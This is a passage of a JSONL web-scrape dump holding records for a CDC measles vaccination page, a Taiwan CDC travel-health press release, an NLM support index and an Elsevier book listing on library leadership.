g\u00e9n\u00e9rales\nMentions l\u00e9gales & CGU\nEspace Revendeur\nContactez-nous\nContactez-nous\n30 avenue du 8 mai 1945\n60180 Nogent Sur Oise\nFrance\n0745552249\n\nMarchand approuv\u00e9 par la Soci\u00e9t\u00e9 des Avis Garantis, cliquez ici pour v\u00e9rifier l'attestation.\nWhataspp Live Chat\nSuivez-nous\nRecevez notre newsletter\nValider\nSuivez-nous\nCopyright \u00a9 2026 - Design by Wapcom.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/4ec49ee1-473f-413d-91ae-a46319a600c5", "content_hash": "d49b9b70722a20f28610469b0e30e062700064607d0a7449e9c41c87663a3c74", "created_at": "2026-03-28T05:13:07.465634692Z"} +{"id": "66afd4df-5115-43c7-8268-b1e60f337dcb", "source": "brain", "text": "Measles Vaccination | Measles (Rubeola) | CDC\n\nMeasles Vaccination | Measles (Rubeola) | CDC\nSkip directly to site content Skip directly to search\nAn official website of the United States government\nHere's how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( ) or https:// means you've safely connected to the .gov website. Share sensitive information only on official, secure websites.\nMeasles (Rubeola)\nExplore This Topic\nSearch\nSearch\nClear\nSearch\nFor Everyone\nAbout\nSymptoms and Complications\nHow It Spreads\nVaccination\nPlan for Travel\nCases and Outbreaks\nMeasles Resources\nView all\nHealth Care Providers\nClinical Overview\nVaccine Recommendations\nView all\nPublic Health\nFor Health Departments\nLab Testing\nBe Ready for Measles Toolkit\nView all\nRelated Topics:\nRubella\nHome\nsearch\nclear\nsearch\nMeasles (Rubeola)\nMenu\nclear\nsearch\nFor Everyone\nAbout\nSymptoms and Complications\nHow It Spreads\nVaccination\nPlan for Travel\nCases and Outbreaks\nMeasles Resources\nView All Home\nHealth Care Providers\nClinical Overview\nVaccine Recommendations\nView All\nPublic Health\nFor Health Departments\nLab Testing\nBe Ready for Measles Toolkit\nView All\nRelated Topics\nRubella\nMeasles (Rubeola)\nAbout Symptoms and Complications How It Spreads Vaccination Plan for Travel Cases and Outbreaks Measles Resources View Menu\nMeasles Vaccination\nJan. 17, 2025\nEspa\u00f1ol\nKey points\nTwo doses of the MMR vaccine are recommended by doctors as the best way to protect against measles, mumps, and rubella.\nChildren may get 2 doses of MMRV vaccine instead.\nMMR & MMRV vaccines usually protect people for life against measles and rubella; but immunity against mumps may decrease over time.\nIntroduction\nThe best way to protect against measles is to get the measles, mumps, and rubella (MMR) vaccine. Children may get the measles, mumps, rubella, and varicella (MMRV) vaccine instead, which protects against chickenpox too.\nMost people who are vaccinated with MMR & MMRV will be protected for life. Vaccines and high rates of vaccination have made these diseases much less common in the United States.\nAvailable vaccines\nThere are two vaccines that protect against measles, mumps, and rubella. Both MMR and MMRV vaccines may be given at the same time as other vaccines.\nMMR\nContains a combination of measles, mumps, and rubella vaccines.\nTwo MMR vaccines are available for use in the United States: M-M-R II and PRIORIX. Both are recommended similarly and considered interchangeable.\nMMRV\nContains a combination of measles, mumps, rubella, and varicella (chickenpox) vaccines.\nThis vaccine is only licensed for use in children who are 12 months through 12 years of age.\nRecommendations\nBoth MMR and MMRV vaccines may be given at the same time as other vaccines. Your healthcare provider can give you more information about each and which to get.\nMMR\nChildren need 2 doses of MMR vaccines:\n12\u201315 months old\n1st dose\n4\u20136 years old\n2nd dose\nOlder children, adolescents, & adults\u2014Also need 1 or 2 doses of MMR vaccine if they don't have evidence of immunity.A Doses should be separated at least 28 days apart.\nAnyone traveling internationally\u2014Should be fully vaccinated before traveling. Infants 6\u201311 months old should get 1 dose of the MMR vaccine before travel. Then they should get 2 more doses after their first birthday.\nPeople at increased risk for mumps during a mumps outbreak\u2014An additional dose of MMR may be needed. Public health authorities will notify you if you are at increased risk and should receive this extra dose. If you already have 2 doses of MMR, it's not necessary to seek out vaccination; unless the authorities tell you that you are part of this group.\nMeasles Vaccine Recommendations Summary\nRefer to this summary table to find the MMR recommendations based on age and status.\nDownload\nDownload\nKeep Reading MMR Recommendations Before International Travel\nMMRV\nChildren 12 months through 12 years of age may be given 2 doses of MMRV vaccine. Each dose is usually given at:\n12\u201315 months old\n1st dose\n4\u20136 years old\n2nd dose (can also be given 3 months after 1st dose)\nAfter exposure to measles, mumps, or rubella\nIf you don't have immunityA against these diseases and become exposed to them, talk with your doctor about getting MMR vaccine. It is not harmful to get MMR vaccine after being exposed to measles, mumps, or rubella. Doing so may possibly prevent later disease.\nIf you get MMR vaccine within 72 hours of initially being exposed to measles, you may get some protection; or have milder illness. In other cases, you may be given a medicine called immunoglobulin (IG) within 6 days of being exposed to measles. This provides some protection against the disease or illness is milder.\nUnlike with measles, MMR has not been shown to be effective at preventing mumps or rubella in people already infected.\nWhy getting vaccinated is important\nThe MMR vaccine protects your child from measles, mumps, and rubella, potentially serious diseases caused by viruses. Almost everyone who has not had the MMR vaccine will get sick if they are exposed to those viruses. The vaccine keeps your child from missing school or childcare; and you from missing work to care for your sick child. Vaccination also limits the size, duration, and spread of outbreaks.\nFor measles: MMR vaccine protects your child from getting an uncomfortable rash and high fever from measles.\nFor mumps: MMR vaccine protects your child from getting a fever and swollen glands under the ears or jaw from mumps.\nFor rubella: MMR vaccine prevents your child from getting a rash and fever from rubella. The vaccine also prevents your child from spreading rubella to a pregnant woman whose unborn baby could develop serious birth defects or die if the mother gets rubella.\nWho should get vaccinated\nMMR vaccination is important for children as well as adults who do not have evidence of immunity.A These include:\nStudents at post-high school educational institutions\nHealthcare personnel\nInternational travelers\nWomen of childbearing age before they get pregnant\nGroups at increased risk for mumps because of a mumps outbreak\nWho shouldn't get vaccinated\nSome people should not get the MMR vaccine, or they should wait. People should check with their healthcare provider about whether they should get the vaccine if they:\nHas had an allergic reaction after a previous dose of MMR or MMRV vaccine, or has any severe, life-threatening allergies.\nAre or may be pregnant. Wait to get MMR vaccine until after you are no longer pregnant. Avoid getting pregnant for at least 1 month after getting MMR vaccine.\nHave a weakened immune system due to disease or medical treatments; or have a family member with a history of immune system problems.\nHave ever had a condition that makes them bruise or bleed easily.\nHave recently had a blood transfusion or received other blood products. You might be advised to postpone MMR vaccination for 3 months or more.\nHave tuberculosis.\nHave gotten any other vaccines in the past 4 weeks.\nAre feeling unwell or severely ill. Your doctor can advise you.\nAdditionally, people should wait to get the MMRV vaccine and tell their provider if they:\nHave a history of seizures, or has a parent, brother, or sister with a history of seizures.\nAre taking or plans to take salicylates (such as aspirin).\nThe vaccine is safe and effective\nMMR vaccine is very safe and is effective at preventing measles, mumps, and rubella. Vaccines, like any medicine, can have side effects. These are usually mild and go away on their own.\nThere is no link between the MMR vaccine and autism. Scientists in the United States and other countries have carefully studied the MMR vaccine. None has found a link between autism and the MMR vaccine.\nIt is safe for breastfeeding women to receive MMR vaccination. Breastfeeding does not interfere with the response to MMR vaccine; and the baby will not be affected by the vaccine through breast milk.\nOne dose of MMR vaccine is:\n93% effective again", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/66afd4df-5115-43c7-8268-b1e60f337dcb", "content_hash": "767a27a4c5b4e7d6ffa7b88601044ec601f9029564dafa5577eb46c22d274a35", "created_at": "2026-03-28T05:13:07.375276232Z"} +{"id": "56398a88-1e46-45c2-8909-a29b313b566a", "source": "brain", "text": "\u6625\u7bc0\u671f\u9593\u570b\u5916\u65c5\u904a\u83ab\u5fd8\u5148\u81f3\u65c5\u904a\u91ab\u5b78\u9580\u8a3a\u8aee\u8a62\uff1b\u5165\u5883\u6709\u75c7\u72c0\u4e3b\u52d5\u901a\u5831\u6a5f\u5834\u6aa2\u75ab\u7ad9\uff1b\u8fd4\u570b\u5f8c\u4e0d\u9069\u901f\u5c31\u91ab - Taiwan Centers for Disease Control\n\n\u6625\u7bc0\u671f\u9593\u570b\u5916\u65c5\u904a\u83ab\u5fd8\u5148\u81f3\u65c5\u904a\u91ab\u5b78\u9580\u8a3a\u8aee\u8a62\uff1b\u5165\u5883\u6709\u75c7\u72c0\u4e3b\u52d5\u901a\u5831\u6a5f\u5834\u6aa2\u75ab\u7ad9\uff1b\u8fd4\u570b\u5f8c\u4e0d\u9069\u901f\u5c31\u91ab - Taiwan Centers for Disease Control\n\"Your browser does not support JavaScript. If the webpage function is not working properly, please enable the browser JavaScript status.\"\nCenter block ALT+C\n\u4e2d\n:::\nHome\n\u4e2d\u6587\u7248\nSitemap\nRSS\nTotal station search\nAbout CDC\nAbout CDC\nPolicies\nNHCC\nActs and Regulations\nPublications\nDiseases & Conditions\nImportant Diseases\nTravelers\u2019 Health\nQuarantine\nTravel Health Notices\nForeigners\u2019 Health\nInfection Control and Biosafety\nVaccine-Preventable Diseases Control\nPrograms & Campaigns\nResearch & Development\nEnd TB Special Project\nPreparedness and Response\nField Epidemiology Training Program\nResearch Reports\nInternship(training) Programs Guidelines\nData & Statistics\nTaiwan National Infectious Disease Statistics System\nStatistics of HIV/AIDS\nDisease Surveillance Express\nInfluenza Express\nNational Notifiable Disease Surveillance Report\nWeekly Report of Enterovirus Infection\nTaiwan Healthcare-associated infection and Antimicrobial resistance Surveillance System\nTaiwan CDC Open Data Portal\nInternational Cooperation\nTaiwan IHR National Focal Point Contact Information\nInternational Cooperation\nInternational Conference\nAPEC Related Events\nForeign Visitors\nRelative Resources\nSchool Visits\nHome\n\u50b3\u67d3\u75c5\u8207\u9632\u75ab\u5c08\u984c\n\u50b3\u67d3\u75c5\u4ecb\u7d39\n\u7b2c\u4e8c\u985e\u6cd5\u5b9a\u50b3\u67d3\u75c5\n\u767b\u9769\u71b1\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u65b0\u805e\u7a3f\n\u767b\u9769\u71b1\n\u767b\u9769\u71b1\n\u75be\u75c5\u4ecb\u7d39\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u65b0\u805e\u7a3f\n\u81f4\u91ab\u754c\u901a\u51fd\n\u767b\u9769\u71b1\u6d41\u884c\u5340(NS1\u5feb\u7be9\u5373\u78ba\u8a3a)\n\u767b\u9769\u71b1\u611f\u67d3\u98a8\u96aa\u570b\u5bb6\n\u767b\u9769\u71b1\u5730\u5716\uff08\u5efa\u8b70\u4f7f\u7528Chrome\u700f\u89bd\u5668\u64cd\u4f5c\uff09\n\u7d71\u8a08\u8cc7\u6599\u67e5\u8a62\n\u570b\u969b\u91cd\u8981\u75ab\u60c5\n\u570b\u969b\u9593\u65c5\u904a\u75ab\u60c5\u5efa\u8b70\u7b49\u7d1a\u8868\n\u75c5\u5a92\u868a\u9ad8\u98a8\u96aa\u5730\u5340\n\u91cd\u8981\u6307\u5f15\u53ca\u6559\u6750\n\u6cbb\u7642\u7167\u8b77\n\u75c5\u5a92\u868a\u8cc7\u6599\n\u75c5\u5a92\u868a\u8cc7\u6599\n\u75c5\u5a92\u868a\u8cc7\u6599\n\u81fa\u7063\u5730\u5340\u57c3\u53ca\u6591\u868a\u5206\u5e03\u9109\u93ae\u73fe\u6cc1\n\u6591\u868a\u85e5\u6548\u8a66\u9a57\u7d50\u679c\n\u75c5\u5a92\u868a\u5bc6\u5ea6\u8abf\u67e5\n\u5ba3\u5c0e\u7d20\u6750\n\u5ba3\u5c0e\u7d20\u6750\n\u5ba3\u5c0e\u7d20\u6750\n\u591a\u5a92\u9ad4\n\u6d77\u5831\n\u55ae\u5f35\n\u624b\u518a\n\u5ee3\u64ad\n\u5176\u4ed6\n\u7814\u7a76\u51fa\u7248\n\u7814\u7a76\u51fa\u7248\n\u7814\u7a76\u51fa\u7248\n\u6b77\u5e74\u7814\u7a76\u8a08\u756b\n\u5716\u66f8\n\u75ab\u60c5\u5831\u5c0e\nQ&A\nQ&A\nQ&A\n\u57fa\u790e\u7bc7\n\u9632\u868a\u7bc7\n\u9632\u75ab\u7bc7\n\u5c31\u91ab\u6cbb\u7642\u7bc7\n\u6625\u7bc0\u671f\u9593\u570b\u5916\u65c5\u904a\u83ab\u5fd8\u5148\u81f3\u65c5\u904a\u91ab\u5b78\u9580\u8a3a\u8aee\u8a62\uff1b\u5165\u5883\u6709\u75c7\u72c0\u4e3b\u52d5\u901a\u5831\u6a5f\u5834\u6aa2\u75ab\u7ad9\uff1b\u8fd4\u570b\u5f8c\u4e0d\u9069\u901f\u5c31\u91ab\nFacebook Line Print\nBack\n( alt + \u2190 Back)\n\u6642\u503c\u5bd2\u5047\u53ca\u6625\u7bc0\u65c5\u904a\u65fa\u5b63\uff0c\u70ba\u907f\u514d\u50b3\u67d3\u75c5\u6563\u5e03\uff0c\u9632\u75ab\u4eba\u54e1\u6625\u7bc0\u671f\u9593\u4e0d\u9b06\u61c8\uff0c\u6301\u7e8c\u99d0\u5b88\u5728\u5404\u500b\u6a5f\u5834\u6e2f\u57e0\u5be6\u65bd\u6aa2\u75ab\uff0c\u89e3\u6c7a\u6c11\u773e\u5404\u9805\u9632\u75ab\u9700\u6c42\u3002\u75be\u75c5\u7ba1\u5236\u7f72\u547c\u7c72\uff0c\u6c11\u773e\u51fa\u570b\u524d\u61c9\u5148\u66b8\u89e3\u7576\u5730\u75ab\u60c5\uff0c\u524d\u5f80\u7684\u570b\u5bb6\u5982\u9700\u4f7f\u7528\u7627\u75be\u9810\u9632\u85e5\u7269\u6216\u63a5\u7a2e\u75ab\u82d7\uff0c\u61c9\u65bc\u51fa\u767c\u524d4\u9031\u5148\u81f3\u570b\u516726\u5bb6\u65c5\u904a\u91ab\u5b78\u9580\u8a3a\u5408\u7d04\u91ab\u9662\u5c0b\u6c42\u5c08\u696d\u65c5\u904a\u91ab\u7642\u8aee\u8a62\uff1b\u7531\u65bc\u6625\u7bc0\u671f\u9593\u91ab\u9662\u591a\u66ab\u505c\u9580\u8a3a\u670d\u52d9\uff0c\u8acb\u898f\u5283\u65bc\u5e74\u5f8c\u51fa\u570b\u7684\u65c5\u5ba2\u63d0\u65e9\u5c31\u8a3a\u8aee\u8a62\uff0c\u4fdd\u969c\u65c5\u9014\u5065\u5eb7\u3002\n\u4f9d\u64da\u75be\u7ba1\u7f72\u570b\u969b\u75ab\u60c5\u76e3\u6e2c\u986f\u793a\uff0c\u5317\u534a\u7403\u6574\u9ad4\u6d41\u611f\u75ab\u60c5\u4e0a\u5347\uff0c\u8fd1\u671f\u6d41\u884c\u75c5\u6bd2\u4ee5H3N2\u578b\u70ba\u4e3b\u3002\u4e2d\u570b\u5927\u9678\u3001\u82f1\u570b\u3001\u97d3\u570b\u53ca\u65e5\u672c\u7b49\u570b\u5bb6\u5c1a\u8655\u8afe\u7f85\u75c5\u6bd2\u6d41\u884c\u671f\u4e14\u6025\u6027\u8178\u80c3\u708e\u75c5\u4f8b\u4ecd\u591a\u3002\u6771\u5357\u4e9e\u3001\u5357\u4e9e\u3001\u4e2d\u5357\u7f8e\u6d32\u66a8\u52a0\u52d2\u6bd4\u6d77\u5730\u5340\u3001\u975e\u6d32\u7b49\u70ba\u767b\u9769\u71b1\u3001\u7627\u75be\u3001\u5c48\u516c\u75c5\u53ca\u8332\u5361\u75c5\u6bd2\u611f\u67d3\u75c7\u7b49\u87f2\u5a92\u50b3\u67d3\u75c5\u6d41\u884c\u5730\u5340\uff0c\u7f8e\u570b\u4f5b\u5dde\u53ca\u5fb7\u5dde\u4ea6\u6709\u96f6\u661f\u8332\u5361\u672c\u571f\u75ab\u60c5\uff1b\u53e6\u5df4\u897f\u9ec3\u71b1\u75c5\u75ab\u60c5\u6301\u7e8c\u53ca\u5b89\u54e5\u62c9\u51fa\u73fe\u8332\u5361\u672c\u571f\u75c5\u4f8b\uff0c\u57fa\u65bc\u7576\u5730\u5177\u66b4\u9732\u98a8\u96aa\uff0c\u5206\u5225\u63d0\u5347\u65c5\u904a\u75ab\u60c5\u5efa\u8b70\u81f3\u6ce8\u610f\u53ca\u8b66\u793a\u3002\u6492\u54c8\u62c9\u6c99\u6f20\u4ee5\u5357\u4e4b\u975e\u6d32\u4e2d\u90e8\u5730\u5340\u6b63\u503c\u6d41\u884c\u6027\u8166\u810a\u9ad3\u819c\u708e\u6d41\u884c\u671f\u3002\u6c99\u70cf\u5730\u963f\u62c9\u4f2f\u7b49\u4e2d\u6771\u570b\u5bb6\uff0c\u5168\u5e74\u5747\u6709\u6563\u767cMERS\u75ab\u60c5\u98a8\u96aa\uff1b\u963f\u5bcc\u6c57\u53ca\u5df4\u57fa\u65af\u5766\u4ecd\u6709\u5c0f\u5152\u9ebb\u75fa\u75c5\u4f8b\u767c\u751f\u3002\n\u53e6\u75be\u7ba1\u7f72\u63a5\u7372\u9678\u65b9\u901a\u5831\uff0c1\u67081\u65e5\u81f31\u670815\u65e5\u65b0\u589e95\u4f8bH7N9\u6d41\u611f\u75c5\u4f8b\uff0c\u767c\u75c5\u65e5\u4ecb\u65bc12\u670813\u65e5\u81f31\u670813\u65e5\uff0c\u5206\u5225\u70ba\u6c5f\u8607\u770132\u4f8b\u3001\u6d59\u6c5f\u770122\u4f8b\u3001\u5b89\u5fbd\u770114\u4f8b\u3001\u6e56\u5357\u770111\u4f8b\u3001\u5ee3\u6771\u77018\u4f8b\u3001\u6c5f\u897f\u7701\u53ca\u798f\u5efa\u7701\u54044\u4f8b\uff1b\u500b\u6848\u591a\u5177\u79bd\u985e\u3001\u6d3b\u79bd\u5e02\u5834\u66b4\u9732\u53f2\u3002\u81ea\u5165\u79cb\uff082016\u5e7410\u67081\u65e5\uff09\u8fc4\u4eca\u7d2f\u8a08240\u4f8b\uff0c\u4ee5\u6c5f\u8607\u770191\u4f8b\u3001\u6d59\u6c5f\u770145\u4f8b\u3001\u5b89\u5fbd\u770128\u4f8b\u3001\u5ee3\u6771\u770126\u4f8b\u70ba\u591a\u3002\u4e2d\u570b\u5927\u9678\u5f80\u5e7411\u6708\u81f3\u6b21\u5e745\u6708\u70ba\u6d41\u884c\u5b63\uff0c\u672c\u5b6312\u6708\u53ca1\u6708\u75c5\u4f8b\u5feb\u901f\u6500\u5347\uff0c\u76ee\u524d\u75c5\u4f8b\u6578\u5df2\u70ba\u6b77\u5e74\u540c\u671f\u6700\u9ad8\u3002\n\u76ee\u524d\u91dd\u5c0d\u4eba\u985e\u65b0\u578bA\u578b\u6d41\u611f\u65c5\u904a\u75ab\u60c5\u5efa\u8b70\uff0c\u4e2d\u570b\u5927\u9678\u6c5f\u8607\u7701\u3001\u6d59\u6c5f\u7701\u3001\u5b89\u5fbd\u7701\u3001\u5ee3\u6771\u7701\u3001\u798f\u5efa\u7701\u3001\u8cb4\u5dde\u7701\u3001\u4e0a\u6d77\u5e02\u3001\u6e56\u5317\u7701\u3001\u6e56\u5357\u7701\u3001\u6cb3\u5357\u7701\u3001\u6c5f\u897f\u7701\u3001\u5c71\u6771\u7701\u3001\u5ee3\u897f\u58ef\u65cf\u81ea\u6cbb\u5340\u3001\u56db\u5ddd\u7701\u3001\u6cb3\u5317\u7701\u3001\u5317\u4eac\u5e02\u3001\u5929\u6d25\u5e02\u3001\u907c\u5be7\u7701\u53ca\u96f2\u5357\u7701\u65c5\u904a\u75ab\u60c5\u5efa\u8b70\u5217\u70ba\u7b2c\u4e8c\u7d1a\uff1a\u8b66\u793a\uff08Alert\uff09\uff0c\u5176\u4ed6\u7701\u5e02\uff08\u4e0d\u542b\u6e2f\u6fb3\uff09\u5217\u70ba\u7b2c\u4e00\u7d1a\uff1a\u6ce8\u610f\uff08Watch\uff09\u3002\n\u75be\u7ba1\u7f72\u63d0\u9192\uff0c\u6c11\u773e\u65c5\u904a\u671f\u9593\uff0c\u8acb\u9075\u5faa\u300c\u52e4\u6d17\u624b\u3001\u5403\u719f\u98df\u3001\u559d\u74f6\u88dd\u6c34\u300d\u3001\u300c\u843d\u5be6\u9632\u868a\u63aa\u65bd\u300d\u53ca\u300c\u4e0d\u63a5\u89f8\u79bd\u9ce5\u3001\u72ac\u8c93\u53ca\u91ce\u751f\u52d5\u7269\u300d\u7b49\u57fa\u672c\u9810\u9632\u63aa\u65bd\u3002\u5982\u51fa\u73fe\u767c\u71d2\u3001\u8179\u7009\u3001\u51fa\u75b9\u3001\u54b3\u55fd\u7b49\u7591\u4f3c\u50b3\u67d3\u75c5\u75c7\u72c0\uff0c\u8acb\u65bc\u5165\u5883\u6642\u4e3b\u52d5\u544a\u77e5\u6aa2\u75ab\u4eba\u54e1\uff0c\u4ee5\u5373\u6642\u7372\u5f97\u9069\u5207\u7684\u7167\u8b77\u8655\u7f6e\u3002\u8fd4\u570b\u5f8c21\u5929\u5167\u51fa\u73fe\u4e0d\u9069\uff0c\u61c9\u5118\u901f\u5c31\u91ab\uff0c\u4e26\u4e3b\u52d5\u544a\u77e5\u91ab\u5e2b\u8fd1\u671f\u65c5\u904a\u53f2\u3002\u76f8\u95dc\u8cc7\u8a0a\u53ef\u81f3\u75be\u7ba1\u7f72\u5168\u7403\u8cc7\u8a0a\u7db2\u300c\u570b\u969b\u65c5\u904a\u8207\u5065\u5eb7\u5c08\u5340\u300d\uff08https://www.cdc.gov.tw/Category/List/dFJicFhwWk03RU8zK2RrYzRSWVp1UT09\uff09\uff0c\u6216\u64a5\u6253\u514d\u4ed8\u8cbb\u9632\u75ab\u5c08\u7dda1922\uff08\u62160800-001922\uff09\u6d3d\u8a62\u3002\nPublishTime 2017/1/23\n:::\nSitemap\nAbout CDC\nAbout CDC\nPolicies\nNHCC\nActs and Regulations\nPublications\nDiseases & Conditions\nImportant Diseases\nTravelers\u2019 Health\nQuarantine\nTravel Health Notices\nForeigners\u2019 Health\nInfection Control and Biosafety\nVaccine-Preventable Diseases Control\nPrograms & Campaigns\nResearch & Development\nEnd TB Special Project\nPreparedness and Response\nField Epidemiology Training Program\nResearch Reports\nInternship(training) Programs Guidelines\nData & Statistics\nTaiwan National Infectious Disease Statistics System\nStatistics of HIV/AIDS\nDisease Surveillance Express\nInfluenza Express\nNational Notifiable Disease Surveillance Report\nWeekly Report of Enterovirus Infection\nTaiwan Healthcare-associated infection and Antimicrobial resistance Surveillance System\nTaiwan CDC Open Data Portal\nInternational Cooperation\nTaiwan IHR National Focal Point Contact Information\nInternational Cooperation\nInternational Conference\nAPEC Related Events\nForeign Visitors\nRelative Resources\nSchool Visits\nNews\nPress Releases\nEvents\nCurrent Topics\nPrivacy Policy\nSecurity Policy\nGovernment Website Open Information Announcement\nDirector-mail\nCopyright Notice on Health Educational Materials\nTaiwan Centers for Disease Control\nNo.6, Linsen S. Rd., Jhongjheng District, Taipei City 100008, Taiwan (R.O.C.) MAP\nTEL\uff1a886-2-2395-9825\nCopyright \u00a9 2026 Taiwan Centers for Disease Control. All rights reserved.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/56398a88-1e46-45c2-8909-a29b313b566a", "content_hash": "911159976bb9ede87bd1f2d4f28bbdd0fb8cc3b06a91fe9a823ae2949e45b63a", "created_at": "2026-03-28T05:13:07.262412053Z"} +{"id": "fe7ec651-29b3-416e-9fbb-c33d52d7453c", "source": "brain", "text": "NLM Support Center \u00b7 NLM Customer Support Center\n\nNLM Support Center \u00b7 NLM Customer Support Center\nYou\u2019re offline. This is a read only version of the page.\nToggle navigation\nNational Library of Medicine\nNational Library of Medicine\nSupport Center Home\nHome\nBrowse Help Topics\nSearch\nMost popular articles\nHow do I obtain the full text of an article?\nHow do I cite NCBI services and databases?\nWhat is a Material Safety Data Sheet (MSDS)?\nWhy do I get error messages when I try to annotate a coding region (CDS) in BankIt?\nWhere can I find information about my health insurance?\nMost recent articles\nDec 10, 2025\nWhere can I complete the UMLS annual report?\nDec 9, 2025\nCan a publisher submit a manuscript to NIHMS for inclusion in PubMed Central on my behalf?\nDec 9, 2025\nWhen will a PMCID be assigned to an NIHMS manuscript?\nOct 8, 2025\nWill a search check my spelling?\nOct 8, 2025\nWhen is required clinical trial results information due?\nTop rated articles\nAug 27, 2025\nWhat are genome assembly accession numbers at NCBI?\nDec 10, 2025\nWhere can I complete the UMLS annual report?\nNov 12, 2019\nHow do I know which Routing Method to use?\nMar 21, 2018\nHow are SNOMED CT files organized?\nNov 20, 2019\nHow do I see the routing history for my Borrow request?\nHealth Literature Drugs & Medical Devices About NLM & NIH My NCBI/Accounts BLAST Submit Data Genes & Genomes ClinicalTrials.gov Getting NLM Data Grants & Funding History of Medicine\nWrite to the help desk\nThe Knowledge Base contains numerous support references, created by our support professionals who have resolved issues for our customers. It is constantly updated, expanded, and refined to ensure that you have access to the very latest information.\n\u200bConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/fe7ec651-29b3-416e-9fbb-c33d52d7453c", "content_hash": "fb1cfe8a4b8f262d7c470e771dd735e46402178ec219bf148d3c1b8d730146ec", "created_at": "2026-03-28T05:13:07.093646084Z"} +{"id": "3b2df12c-5dc3-447e-989b-dd5b7fa3b9dc", "source": "brain", "text": "Mid-Career Library and Information Professionals - 1st Edition | Elsevier Shop\n\nMid-Career Library and Information Professionals - 1st Edition | Elsevier Shop\nSkip to main content\nBooks\nJournals\nBrowse by subject\nBack\nDiscover Books & Journals by subject\nLife Sciences\nAgricultural & Biological Sciences\nDrug Discovery\nImmunology\nLife Sciences\nMicrobiology & Virology\nNeuroscience\nPharmaceutical Sciences\nPharmacology\nToxicology\nAll\nPhysical Sciences & Engineering\nAstronomy, Astrophysics, Space Science\nBuilt Environment\nChemical Engineering\nChemistry\nComputer Science\nEarth & Planetary Sciences\nEnergy & Power\nEngineering & Technology\nEnvironmental Sciences\nMathematics\nMaterials Science\nPhysics\nAll\nSocial Sciences & Humanities\nArts & Humanities\nBusiness, Management & Accounting\nDecision Sciences\nEconomics & Finance\nForensics\nPsychology\nSocial Sciences\nAll\nHealth\nDentistry\nHealth Professions\nMedicine\nNursing & Midwifery\nVeterinary Science & Veterinary Medicine\nAll\nSearch\nView Cart\nMy account\nOpen main site navigation\nHome\nBooks\nSubjects\nSocial sciences\nMid-Career Library and Information Professionals\nMid-Career Library and Information Professionals\nA Leadership Primer\n1st Edition - December 14, 2010\nLatest edition\nEditors: Dawn Lowe-Wincentsen, Linda Crook\nLanguage: English\nAs librarians move into the middle of their careers, they are more ready than ever to take on new leadership opportunities. Literature on leadership is expanding in the field of\u2026 Read more\nDescription\nAs librarians move into the middle of their careers, they are more ready than ever to take on new leadership opportunities. Literature on leadership is expanding in the field of library and information sciences, and more and more seminars and workshops are being offered for new and seasoned leaders. This book asks the questions: \u2018What about us?\u2019 and, \u2018Where is the leadership advice and training for those who are no longer new librarians, but are also not yet seasoned leaders?\u2019 The title illustrates how to work the middle, from being in the sophomore slump progressing to the next leaders in the field, to look for perspectives from others who are in the middle of their career, and how they have developed into leaders, ways to develop one\u2019s own style of leadership and grow one\u2019s career and future as a librarian and information professional.\nKey features\nPerspectives on leadership from mid-career information professionals\nTips and tools on how to become a leader from the middle of your career\nA how-to guide on making changes from the middle\nReadership\nPractitioners of Library and Information Science\nTable of contents\nSaying yes, again: An introduction to leadership for mid-career librarians; What to do when you can\u2019t do it all; Empowering the reluctant new library manager; Stuck in the middle and loving it! Why middle managers have the ability to lead from the heart and the power to persuade; Making it work: Leading without a pedestal; Leading without authority: Maintaining balance and relationships; Career progression: Mentoring to the rescue; When life and leadership collide; Avoiding the Peter Principle: \u2018Every employee tends to rise to his level of incompetence\u2019; Work envy, workhorses and the mid-career librarian; Don\u2019t get stuck in a rut!; Out of bounds: Developing a library outreach program using the \u2018Five Practices of Exemplary Leadership\u2019 model; Technologically indispensable: Leading when you\u2019re technically competent but seen merely as a useful tool to get other folks\u2019 ideas implemented; Same song, different verse: critical followership as an act of resilience for second-career librarians; New in town: Leadership betwixt and between; Making your mark: Scholarship, \u2018niche-building,\u2019 and other ways of defining and marketing your expertise; Exercise your leadership potential.\nReview quotes\n\"\u2026a very current, topical and easy-to-read book that is perfect for the busy librarian. \u2026a valuable addition to a professional library for a librarian seeking career advancement or looking for new work challenges.\"\u2014Australian Library Journal\n\"One of the book's strengths is that it is written by librarians with a wide breadth of experiences. They provide useful references for further reading, and many of them make effective use of tables to convey key points. The book's format, length and price are reasonable.\"\u2014Journal of the Canadian Health Libraries Association\nProduct details\nEdition: 1\nLatest edition\nPublished: December 14, 2010\nLanguage: English\nAbout the editors\nDL\nDawn Lowe-Wincentsen\nDawn Lowe-Wincentsen is the Portland Operations librarian at the Oregon Institute of Technology. She graduated with her MLIS from Louisiana State University in 2003, though she has been in libraries in various forms since her first job as a student assistant in the library at Linfield College in 1996. Dawn has written other various works including co-authoring A Leadership Primer for New Librarians: Tools for Helping Today's Early Career Librarians Become Tomorrow's Library Leaders (2009).\nAffiliations and expertise\nWilsonville Campus Librarian, Oregon Institute of Technology, Portland, OR, USA\nLC\nLinda Crook\nLinda Crook is Science Librarian and Assistant Professor at Washington State University, where she is the liaison to the College of Pharmacy. She received her MLIS from the University of Washington iSchool in 2000. She has been working in libraries since 1991, including time as student assistant, paraprofessional, and librarian; in a public library, a special library, and academic libraries; as lead, supervisor, division head, and branch library head. Linda is active in the American Library Association where she participated in the 2008 Emerging Leaders program. Her other works include a contribution to A Leadership Primer for New Librarians: Tools for Helping Today's Early Career Librarians Become Tomorrow's Library Leaders (2009).\nAffiliations and expertise\nWashington State University, USA\nView book on ScienceDirect\nRead Mid-Career Library and Information Professionals on ScienceDirect\nproduct\nUseful links\nBook awards\nBook bestsellers\nBook imprints\nBook 